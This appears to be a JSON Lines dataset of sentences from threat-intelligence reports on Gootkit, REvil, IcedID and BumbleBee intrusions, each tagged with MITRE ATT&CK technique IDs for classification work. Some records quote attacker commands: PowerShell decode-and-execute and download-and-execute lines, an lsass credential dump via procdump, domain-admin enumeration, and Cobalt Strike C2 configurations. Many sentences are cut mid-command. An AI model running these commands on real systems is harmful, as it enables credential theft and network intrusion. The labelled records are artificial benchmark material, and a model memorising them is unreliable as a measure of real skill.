{"sentence": "Figure 13: The JS component deploys PowerShell with a Base64 encoded script Decoded content of the script: Figure 14: Decoded content It reads the content from the registry keys and deobfuscates it by substituting patterns.", "labels": ["T1027", "T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "In the given example, the pattern “!@#” in the hexadecimal string was substituted by “1000”, then the PE was decoded and loaded with the help of .NET", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Reflection.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The .NET loader comes with a hardcoded string that is the next stage PE: the final malicious payload.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Deploying the payload The loader runs to the next stage with the help of Process Hollowing – one of the classic methods of PE injection.", "labels": ["T1055"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Figure 17: REvil ransom note Example 2 – Loading Gootkit In an other common variant, the payload is saved as Base64.", "labels": ["T1027"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Convert]::FromBase64String(\"[content]\")); Invoke-Expression $Command;Start-Sleep -s 22222; Figure 18: Registry key storing payload After decoding the base64-encoded content, we get another PowerShell script: Figure 19:", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "More PowerShell It comes with yet another Base64-encoded piece that is further decompressed and loaded with the help of Reflection Assembly.", "labels": ["T1140"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "It is the .NET binary, similar to the previous one.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Gootkit loader:(973d0318f9d9aec575db054ac9a99d96ff34121473165b10dfba60552a8beed4)", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The script calls a function “Install1” from the .NET module.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "This function loads another PE, that is embedded inside as a base64 encoded buffer: Figure 20: Another buffer Figure 21: Deploying the payload This time the loader uses another method of PE injection, manual loading into the parent process.", "labels": ["T1027", "T1055"], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The revealed payload is a Gootkit first stage binary: 60aef1b657e6c701f88fc1af6f56f93727a8f4af2d1001ddfa23e016258e333f.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The threat actors behind this campaign are using a very clever loader that performs a number of steps to evade detection.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Given that the payload is stored within the registry under a randomly-named key, many security products will not be able to detect and remove it.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "However, the biggest surprise here is to see this loader serve REvil ransomware in some instances.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "The REvil group has very strict rules for new members who must pass the test and verify as Russian.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "One thing we noticed in the REvil sample we collected is that the ransom note still points to decryptor.top instead of decryptor.cc, indicating that this could be an older sample.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Banking Trojans represent a vastly different business model than ransomware.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "We’ve seen banking malware (i.e. Emotet) turn into loaders for ransomware where different threat actors can specialize in what they do best.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Time will tell what this return of Gootkit really means and how it might evolve. Detection and protection Malwarebytes prevents, detects and removes Gootkit and REvil via our different protection layers.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "As we collect indicators of compromise we are able to block the distribution sites so that users do not download the initial loader.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "Our behavior-based anti-exploit layer also blocks the malicious loader without any signatures when the JavaScript is opened via an archiving app such as WinRar or 7-Zip. Figure 22: Blocking on script execution If a system is already infected with Gootkit, Malwarebytes can remediate the infection by cleaning up the registry entries where Gootkit hides: Figure 23: Detection of payload hidden in registry Finally, we also detect and stop the REvil (Sodinokibi) ransomware: Figure 24: REvil ransomware blocked heuristically Indicators of Compromise Compromised websites downloading JavaScript loader: docs.anscommerce[.]comellsweb[.]netentrepasteles[.]supercurro.netm-uhde[.]degames.usc[.]edudoedlinger-erdbau[.]at 3rd stage JavaScript C2s: badminton-dillenburg[.]dealona[.]org[.]cyaperosaintmartin[.]com Variant 1 (Gootkit): NET loader", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "[973d0318f9d9aec575db054ac9a99d96ff34121473165b10dfba60552a8beed4]Delphi PE", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "[d0e075a9346acbeca7095df2fc5e7c28909961184078e251f737f09b8ef892b6] – the ransomwarePE stored in resources", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "[a7e363887e9a7cc7f8de630b12005813cb83d6e3fc3980f735df35dccf5a1341] – a helper component The post German users targeted with Gootkit banker or REvil ransomware appeared first on Malwarebytes Labs.", "labels": [], "doc_title": "German users targeted with Gootkit banker or REvil ransomware"}
{"sentence": "According to Proofpoint, these new variants have been seen used by three distinct threat actors in seven campaigns since late last year, focusing on further payload delivery, most notably ransomware.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "Proofpoint has identified two new variants of the IcedID loader, namely “Lite” (first seen in November 2022) and “Forked” (first observed in February 2023), both delivering the same IcedID bot with a more narrow-focused feature set.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "Removing unneeded functions on IcedID, which has been deployed in numerous malicious campaigns without many code changes since 2017, makes it stealthier and leaner, which can help the threat actors evade detection.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "Separate clusters of IcedID activity (Proofpoint) New IcedID campaigns Starting in November 2022, the “Lite” variant of the IcedID loader was delivered as a second-stage payload on systems infected by the newly-returned Emotet malware.", "labels": ["T1566.001"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "These messages used Microsoft OneNote attachments (.one) to execute a malicious HTA file that, in turn, runs a PowerShell command which fetches IcedID from a remote resource.", "labels": ["T1105", "T1566.001"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "At the same time, the victim is served a decoy PDF.", "labels": ["T1566.001"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "Malicious OneNote attachment used in recent campaign (Proofpoint)", "labels": ["T1566.001"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "At the end of February, Proofpoint’s researchers observed a low-volume campaign distributing IcedID “Forked” via fake notices from the National Traffic and Motor Vehicle Safety Act and the U.S. Food and Drug Administration (FDA).", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "It is important to note that while some threat actors use new variants of the IcedID malware, others still choose to deploy the “Standard” variant, with one of the most recent campaigns dating March 10, 2023.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "However, “Forked” uses a different file type (COM Server) and features additional domain and string-decryption code, making the payload 12KB larger than the “Standard” version.", "labels": ["T1140"], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "Domains decryption (Proofpoint) On the other hand, the “Lite” loader variant is lighter, at 20KB, and does not exfiltrate host info to the C2.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "This change makes sense since it was deployed alongside Emotet, which had already profiled the breached system.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "The “Forked” version of the IcedID bot is 64KB smaller than the “Standard” bot, and is basically the same malware minus the web injects system, the AiTM (adversary in the middle) functions, and the backconnect capabilities that give threat actors remote access to infected devices.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "Standard and Forked bot comparison (Proofpoint) IcedID is generally used for initial access by threat actors, so developing new variants is a worrying sign, signifying a shift towards specializing the bot to payload delivery.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "Proofpoint predicts that most threat actors will continue to use the “Standard” variant, but the deployment of new IcedID versions will likely grow, and more variants may pop up later in 2023.", "labels": [], "doc_title": "New IcedID variants shift from bank fraud to malware delivery"}
{"sentence": "In this intrusion from April 2022, the threat actors used BumbleBee as the initial access vector.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Read more about BumbleBee here, and here.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "During this intrusion, the threat actors gained access using an ISO and LNK file, used several lateral movement techniques, dumped credentials three different ways, kerberoasted a domain admin account and dropped/executed a bespoke tool for discovering privilege escalation paths.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The intrusion began with a password protected zipped ISO file that we assess with medium to high confidence due to other reports, likely arrived via an email which included a link to download said zip file.", "labels": ["T1204.002"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "When the user double clicks or opens the lnk file, they inadvertently starts a hidden file in the directory, a DLL (namr.dll) containing the Bumblebee malware loader.", "labels": ["T1204.002", "T1564.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "From there, the loader reached out to the Bumblebee C2 server.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "At first, things remained fairly quiet, just C2 communications; until around 3 hours later, Bumblebee dropped a Cobalt Strike beacon named wab.exe on the beachhead host.", "labels": ["T1105"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "From these injected processes, the threat actors began discovery tasks using Windows utilities like ping and tasklist.", "labels": ["T1055", "T1057", "T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The threat actor then deployed Anydesk, which was the only observed persistence mechanism used during the intrusion.", "labels": ["T1219"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The threat actor then started Active Directory mapping using Adfind.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Then, the next day, they accessed the server via RDP and deployed a bespoke tool, VulnRecon, designed to identify local privilege escalation paths on a Windows host.", "labels": ["T1021.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The tool appeared to be still under development as several command options were not yet implemented.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The next check in from the threat actors, occurred on the 4th day, where the threat actors again ran VulnRecon, but from the beachhead host instead of the server.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "AdFind was used again as well.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Next, the threat actor transferred Sysinternals tool Procdump over SMB, to the ProgramData folders on multiple hosts in the environment.", "labels": ["T1570"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "They then used remote services to execute Procdump, which was used to dump lsass.", "labels": ["T1003.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "At this point, the actors appeared to be searching for more access then they currently had.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "After that activity, the threat actors then disappeared until the 7th day, at which time they accessed the server via Anydesk.", "labels": ["T1219"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Again, they executed VulnRecon and then also executed Seatbelt, a red team tool for preforming various host based discovery.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "On the final day of the intrusion, the 11th day since the initial entry by the threat actor, they appeared to be preparing to act on final objectives.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "After injecting into various processes on the host, the threat actors executed the PowerShell script Invoke-Kerberoast.", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Next, they used yet another technique to dump LSASS on the beachhead host, this time using a built in Windows tool comsvcs.dll.", "labels": ["T1003.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "AdFind was run for a 3rd time in the network, and then two batch scripts were dropped and run.", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Next, the threat actors used a service account to execute a Cobalt Strike beacon remotely on a Domain Controller.", "labels": ["T1569.002"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The threat actors were then evicted from the environment before any final actions could be taken.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "We assess based on the level of access and discovery activity from the final day the likely final actions would have been a domain wide ransom deployment.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Timeline Analysis and reporting completed by @0xtornado and @MetallicHack Initial Access", "labels": ["T1566.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The threat actors managed to get access to the beachhead host after the successful execution of a lnk file within an ISO, which are usually distributed through email campaigns.", "labels": ["T1566.001"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "C:\\Windows\\System32\\cmd.exe /c start rundll32 namr.dll,IternalJob Running Eric Zimmerman’s tool LECmd revealed additional details related to the threat actors.", "labels": ["T1059.003", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The graph below shows all the payloads dropped by BumbleBee, the way they were executed, and the different processes they injected into: Sysmon File Created event showing wab.exe created by rundll32.exe Sysmon Event Code 1 showing wab.exe executed by WMI Execution of Cobalt Strike The following PowerShell one-liner was executed from wab.exe during day 11, which downloaded obfuscated PowerShell and executed it in memory: C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1027", "T1047", "T1055", "T1059.003", "T1105", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "This payload can be deobfuscated using the following CyberChef recipe: Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') From_Base64('A-Za-z0-9+/=',true) Gunzip() Label('Decode_Shellcode') Regular_expression('User defined','[a-zA-Z0-9+/=]{30,}',true,true,false,false,false,false,'List matches') Conditional_Jump('',false,'',10) From_Base64('A-Za-z0-9+/=',true) XOR({'option':'Decimal','string':'35'},'Standard',false) Once deobfuscated, we can spot the MZRE header, which is part of the default configuration of Cobalt Strike: One of the easiest ways to extract valuable information from this Shellcode is using Didier Stevens 1768.py tool: The command and control server was hosted on (108.62.12[.]174/dofixifa[.]co).", "labels": ["T1140"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Persistence AnyDesk and its installation as a service was used in order to persist and create a backdoor to the network.", "labels": ["T1219", "T1543.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Privilege Escalation GetSystem Threat actors made a mistake by launching the getsystem command in the wrong console (shell console rather than the beacon console).", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "cbdhsvc , a process where Cobalt Strike was injected into: C:\\Windows\\system32\\cmd.exe /C", "labels": ["T1055", "T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "getsystem", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "A detailed write-up of this feature is documented in the official Cobalt Strike blog and was also detailed in our Cobalt Strike, a Defender’s Guide blog post. Valid Accounts Threat actors obtained and abused credentials of privilege domain accounts as a means of gaining privilege escalation on the domain.", "labels": ["T1078"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "A service account, with Domain Administration permissions, was used to create a remote service on a Domain Controller to move laterally.", "labels": ["T1078"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Almost every post-exploitation job was launched from an injected process.", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "cbdhsvc to perform various techniques (Enumeration, Credential dumping, etc.):", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "A yara scan of process memory using the Malpedia Cobalt Strike rule revealed the various injections across hosts as well.", "labels": ["T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "EXE 7476 svchost.exe C:\\Windows\\system32\\svchost.exe -k ClipboardSvcGroup -p", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "-s cbdhsvc 8088 wab.exe C:\\Users\\USER\\AppData\\Local\\wab.exe 34296", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "rundll32.exe C:\\Windows\\system32\\rundll32.exe 19284 powershell.exe “c:\\windows\\syswow64\\windowspowershell\\v1.0\\powershell.exe” -Version 5.1 -s", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "-NoLogo -NoProfile 7316 svchost.exe C:\\Windows\\system32\\svchost.exe -k UnistackSvcGroup 7288 svchost.exe C:\\Windows\\system32\\svchost.exe -k", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "UnistackSvcGroup -s", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "WpnUserService 20400 rundll32.exe C:\\Windows\\System32\\rundll32.exe Indicator Removal on Host: File Deletion", "labels": ["T1027"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "We observed the threat actors deleting their tools (Procdump, Network scanning scripts, etc.) from hosts.", "labels": ["T1027"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The table below shows an example of ProcDump deletion from the ProgramData folder of all targeted workstations after dumping their LSASS process: Credential Access LSASS Dump MiniDump Threat actors dumped the LSASS process from the beachhead using the comsvcs.dll MiniDump technique via the C:\\Windows\\system32\\svchost.exe -k ClipboardSvcGroup -p", "labels": ["T1003.001", "T1027"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "The ProcDump utility was executed on those workstations using the following command line: C:\\programdata\\procdump64.exe -accepteula -ma lsass.exe C:\\ProgramData\\lsass.dmp Kerberoasting Invoke-Kerberoast command was executed from the beachhead through svchost.exe, a process where the threat actors injected: Here is an extract of PowerShell EventID", "labels": ["T1003.001", "T1055"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "800 showing different Invoke-Kerberoast options used by threat actors, including HashCat output format", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": ": IEX (New-Object Net.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Around 3 hours later, the service account logged into one of the Domain Controllers from the beachhead.", "labels": ["T1078"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "We assess with high confidence that the service account password was weak and cracked offline by threat actors.", "labels": ["T1110"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "<REMOTE_IP> Permission Groups Discovery As we have already observed in multiple cases, the threat actors enumerated the local administrators group and domain privileged (Enterprise and DAs) administrators groups mainly using net command: net use net group \"Domain computers\" /dom net group \"Enterprise admins\" /domain net group \"domain admins\" /domain net localgroup administrators nltest /dclist: nltest /domain_trusts ping -n 1 <REMOTE_IP>", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "shell whoami /all", "labels": ["T1033", "T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Network scanning Threat actors used two scripts named s.bat (for servers) and w.bat (for workstations) to ping the hosts and store the results in two log files: s.bat script: @echo off for /f", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "i in (servers.txt) do for /f \"tokens=2 delims=[]\"", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%%j in ('ping -n 1 -4", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "\"%%i\"') do @echo", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%%j >> serv.log w.bat script: @echo off for /f", "labels": ["T1059.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "%%i in (workers.txt) do for /f \"tokens=2 delims=[]\"", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "j >> work.log Both of those scripts were executed from the PowerShell Cobalt Strike beacon (powershell.exe).", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Invoke-ShareFinder Invoke-ShareFinder is a PowerShell module which is part of PowerView. Invoke-ShareFinder – finds (non-standard) shares on hosts in the local domain Threat actors performed share enumeration using Invoke-ShareFinder.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "IEX (New-Object Net.Webclient).DownloadString('http://127.0.0.1:39303/%27); Invoke-ShareFinder -CheckShareAccess -Verbose", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "| Tee-Object ShareFinder.txt Because rundll32.exe executed PowerShell, we can see that rundll32.exe created the ShareFinder.txt output file in C:\\ProgramData\\. Seatbelt The tool SeatBelt was used by the threat actors on a server in order to discover potential security misconfigurations.", "labels": ["T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Seatbelt is a C# project that performs a number of security oriented host-survey “safety checks” relevant from both offensive and defensive security perspectives.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Threat actors performed a full reconnaissance by specifying the flag -group=all: Seatbelt.exe -group=all -outputfile=\"C:\\ProgramData\\seatinfo.txt\" VulnRecon Threat actors dropped two binaries named vulnrecon.dll and vulnrecon.exe on two hosts.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "This is the first time we’ve observed this tool.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "vulnrecon.dll PDB: D:\\a\\_work\\1\\s\\artifacts\\obj\\win-x64.Release\\corehost\\cli\\apphost\\standalone\\Release\\apphost.pdbvulnrecon.exe PDB: D:\\work\\rt\\VulnRecon\\VulnRecon\\obj\\Release\\net5.0\\VulnRecon.pdb The table below summarizes the capabilities of the tool:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "SMB/Windows Admin Shares Remote Service over RPC Multiple RPC connections were initiated from the rundll32.exe process where wab.exe previously injected into: These RPC connections targeted multiple hosts, including workstations, servers, and DCs.", "labels": ["T1055", "T1218.011"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "As we can see with one server, which was targeted, the win32 function CreateServiceA was used by the malware in order to create a remote service over RPC on the server.", "labels": ["T1106", "T1543.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Cobalt Strike built-in PsExec Threat actors used the built-in Cobalt Strike jump psexec command to move laterally.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Below is an example of the service edc603a that was created on a Domain Controller:", "labels": ["T1078", "T1543.003"], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "This process was beaconing to (108.62.12[.]174/dofixifa[.]co), the second Cobalt Strike C2, used during the last day of this intrusion.", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "JA3: c424870876f1f2ef0dd36e7e569de906JA3s: 61be9ce3d068c08ff99a857f62352f9dCertificate:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[76:28:77:ff:fe:26:5c:e5:c6:7a:65:01:09:63:44:6d:57:b7:45:f2 ]", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "Not Before: 2022/04/12 06:33:52 UTC Not After: 2023/04/12 06:33:52 UTC Issuer Org: Internet Widgits", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[6c:54:cc:ce:ca:da:8b:d3:12:98:13:d5:85:52:81:8a:9d:74:4f:fb ]Not Before: 2022/04/15 00:00:00 UTC Not After: 2023/04/15 23:59:59 UTC Issuer Org: Sectigo Limited Subject Common: fuvataren.com", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[fuvataren.com ,www.fuvataren.com ]Public Algorithm: rsaEncryption Below is the Cobalt Strike configuration of this C2 exported from a sandbox analysis results: access_type: 512 beacon_type: 2048 host: fuvataren.com,/rs.js http_header1: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAASQWNjZXB0OiBpbWFnZS9qcGVnAAAABwAAAAAAAAALAAAAAwAAAAIAAAAFSFNJRD0AAAAGAAAABkNvb2tpZQAAAAkAAAAJcmVhZD10cnVlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= http_header2: AAAAEAAAABBIb3N0OiBhbWF6b24uY29tAAAACgAAABFDb25uZWN0aW9uOiBjbG9zZQAAAAoAAAAVQWNjZXB0LUVuY29kaW5nOiBnemlwAAAACgAAAC9Db250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL3gtd3d3LWZvcm0tdXJsZW5jb2RlZAAAAAcAAAABAAAADQAAAAMAAAACAAAAB3ZhbHVlcz0AAAAEAAAABwAAAAAAAAADAAAAAgAAAA5fX3Nlc3Npb25fX2lkPQAAAAYAAAAGQ29va2llAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= http_method1: GET http_method2: POST jitter: 6144 polling_time: 5000 port_number: 443 sc_process32: %windir%\\syswow64\\rundll32.exe sc_process64:", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "[dofixifa.com ,www.dofixifa.com ]Public Algorithm: rsaEncryption Full configuration extraction using 1768.py tool: Config found: xorkey b'.'", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x0001 0x0002 443 0x0003 sleeptime 0x0002 0x0004 5000", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "0x0004 maxgetsize 0x0002 0x0004", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
{"sentence": "2796542 0x0005 jitter 0x0001 0x0002 48 0x0007 publickey 0x0003 0x0100 30819f300d06092a864886f70d010101050003818d0030818902818100990b95ec8c7c882213d9afae50bc2f45ddf44795ab15a01de1db4356d5514af9f0ff9e4ddb58bb4499bf716be7d04128559449c06e494347bcb06f406a291dbd4df8a783aefd759c9c471ed03476c05dcbb3320413a79c07e45f3a6617354c548b0f076710f7c858070ada7d40627c98513f4a44492c4c30b68b30cea3802c33020301000100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 0x0008 server,get-uri 0x0003 0x0100 'dofixifa.com,/ro' 0x0043 DNS_STRATEGY 0x0001 0x0002 0 0x0044 DNS_STRATEGY_ROTATE_SECONDS 0x0002 0x0004 -1 0x0045 DNS_STRATEGY_FAIL_X 0x0002 0x0004 -1 0x0046 DNS_STRATEGY_FAIL_SECONDS 0x0002 0x0004 -1 0x000e SpawnTo 0x0003 0x0010 (NULL ...)", "labels": [], "doc_title": "BumbleBee Roasts Its Way to Domain Admin"}
